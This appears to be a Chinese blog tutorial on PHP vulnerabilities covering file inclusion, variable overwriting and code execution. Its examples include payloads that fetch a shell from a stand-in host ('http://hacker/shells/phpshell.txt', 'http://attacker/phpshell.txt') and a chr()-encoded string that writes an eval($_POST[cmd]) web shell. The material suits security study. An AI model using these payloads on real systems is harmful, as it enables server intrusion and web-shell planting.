PHP安全(文件包含、变量覆盖、代码执行)

文件包含漏洞

本地文件包含
截断技巧:
../../etc/passwd%00(\x00 \0)
利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。目录字符串,在windows下256字节、linux下4096字节时会达到最大值,最大值长度之和的字符串将被丢弃。构造方法:
././././././././././././././abc  或者 ////////////////////////////////////abc 或者  ../1/abc/../1/abc/../1/abc
 
open_basedir:作用是限制在某个特定目录下PHP能打开的文件
需要注意的是,open_basedir的值是目录的前缀,因此假设设置如下:
open_basedir = /home/app/aaa
那么实际上,以下目录都是在允许范围内的:
/home/app/aaa
/home/app/aaabbb
/home/app/aaa123
如果限定一个指定的目录,则需要在最后加上" / "。
open_basedir = /home/app/aaa/
在windows下多个目录应当用分号分隔,在Linux下则用冒号隔开。
 
本地文件包含利用技巧
(1)、包含用户上传的文件
(2)、包含data:// 或 php://input等协议
            要求allow_url_include设置为ON
http://www.example.com/index.php?file=data:text/plain,<?php phpinfo(); ?>%00
(3)、包含session文件
            需要攻击者能够控制部分session文件的内容
x|s:19:"<?php phpinfo(); ?>"
            PHP默认生成的session文件往往存放在/tmp目录下
(4)、包含日志文件,比如Web Server的access log
            包含日志文件是一种比较通用的技巧。因为服务器一般都会往Web Server的access_log里记录客户端的请求信息,在error_log里记录出错请求。因此攻击者可以间接地将PHP代码写入到日志文件           中,在文件包含时,只需要包含日志文件即可。
            以Apache为例,一般的攻击步骤是,先通过读取http的配置文件httpd.conf,找到日志文件所在的目录。httpd.conf一般会存在Apache的安装目录下,在Redhat系列里默认安装的可能为/etc/httpd/conf/httpd.conf,而自定义安装的可能在/usr/local/apache/conf/httpd.conf 
            包含/proc/self/environ是一种更为通用的方法,因为它根本不需要猜测被包含文件的路径,同时用户也能控制它的内容。
http://www.website.com/view.php?page=../../../../proc/self/environ
             /proc/self/environ内容是Web进程运行时的环境变量,其中很多都是用户可以控制的,有时候会包含user-agent,这时只要在user-agent中注入PHP代码,比如:
<?php system('wget http://hacker/shells/phpshell.txt -O shell.php'); ?>
(5)、包含上传的临时文件(RFC1867)
(6)、包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。
 
远程文件包含
要求allow_url_include =ON
例如:
<?php
if ($route=="share")
{ require_once $basePath . '/action/m_share.php';}
elseif($route == "sharelink")
{ require_once $basePath . '/action/m_sharelink.php';}
?>
在变量$basePath前没有设置任何障碍,因此攻击者可以构造类似如下的攻击URL:
?param=http://attacker/phpshell.txt?
最终加载的代码实际上执行了:
require_once 'httpL//attacker/phpshell.txt?/action/m_share.php';
问号后面的代码被解释成URL的querystring,也是一种“截断”,这是在利用远程文件包含漏洞时的常用技巧。同样的%00也可以做截断符号。 

变量覆盖漏洞

PHP中的$$
$$这种想法称为可变变量,一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
PHP中的foreach
$_GET数组
<?php
if(isset($_GET))
{
var_dump($_GET);
}
$smity=array("a"=>"1","c"=>2);
var_dump($smity);
?>
输入:
http://url/get.php?a=1
输出:
array(1){["a"]=>string(1)"1"}array(2){["a"]=>string(1)"1"["c"]->int(2)}
 
1、foreach($variable as $value){}
2、foreach($variable as $key=>$value{}
使用foreach来遍历数组中的值,然后再将获得到的数组键名变为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞
<?php
$a=2;
foreach ($_GET as $key=>$value){
$($key)=$value;
}
echo $a;
}
?> 输入: xxx
?a=1 输出: 1
PHP中的extract()函数
extract函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
2.语法
extract(array,extract_ rules,prefix)
参数描述
array必需。规定要使用的数组。
extract_rules可选。extract函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。
可能的值:
EXTR_ OVERWRITE -默认。如果有冲突,则覆盖已有的变量。
<?php
$a=1;  //原变量值为1
$b=array('a'=>'3');
extract($b); //经过extract()函数对$b处理后
echo $a;   //输出结果为3
?>
PHP中的parse_str()函数
1.parse_ str()函数介绍
parsestr函数把查询字符串解析到变量中。
注释:如果未设置array参数,由该函数设置的变量将覆盖已存在的同名变量。
parse_ str函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量
是否存在,所以直接覆盖掉已有变量
2.语法
parse_ sr(string, aray)**"
参数描述
string必需。规定要解析的字符串。
array可选。规定存储变量的数组名称。该参数指示变量存储到数组中。
<?php
$a=1;     //原变量值为1
parse_str('a=2');   //经过parse_str()函数后注册变量$a,重新赋值
print_r($a);  //输出结果为2
?>
PHP中的import_request_variables函数
1.import_ request _variablesQ函数介绍
import_ request_variables将 GET/POST/Cookie变量导入到全局作用域中;
import_request_ variables函数就是把GET、POST、COOKIE的参数注册成变量,用在register. globals被禁止的时候
2.语法.
bool import _request _variables(string$types[string$prefix] )
$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀
<?php
$auth='0';
import_request_variables('G');
if($auth==1)
{
echo "private!";
}
else{
echo "public!";
}
?>
输入:
www.xxx.com?auth=1
输出:
private

代码执行漏洞

执行系统命令

PHP提供的可以执行系统命令的函数exec()、passthru()、system()、 shell_exec()、popen()、proc_open()、pcntl_exec()。

方法一:exec()

function exec(string $command,array[optional] $output,int[optional] $return_value)

php代码:

 

 

知识点:
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

方法二:passthru()

function passthru(string $command,int[optional] $return_value)

 

 

知识点:
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。

方法三:system()

function system(string $command,int[optional] $return_value)

 

 

知识点:
system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。

方法四:反撇号`和shell_exec()
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
代码:

 

 

 

 方法五、用popen()函数打开进程    

resource popen ( string $command , string $mode )

函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。

函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。

popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。

返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。

此指针可以用于fgets(),fgetss()和 fwrite()

<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>

 

 

方法六、proc_open()函数

 

Popen函数类似,但是可以提供双向管道

 

方法七、pcntl_exec()函数

path是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本

args是一个要传递给程序的参数的字符串数组。

pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。

pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

preg_replace()代码执行

preg_replace函数原型: 
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 
搜索subject中匹配pattern的部分, 以replacement进行替换。

特别说明: 
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 
举例: 

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", "\1.strtoupper(\2).\3", $html_body); 
?> 

这将使输入字符串中的所有 HTML 标记变成大写。 

安全威胁分析: 
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如: 

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?> 

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。 
如果我们提交下面的代码会怎么样呢? 
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97). 
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). 
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). 
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)) 
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>); 
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。 

posted @ 2020-04-20 23:18  yokan  阅读(770)  评论(0编辑  收藏  举报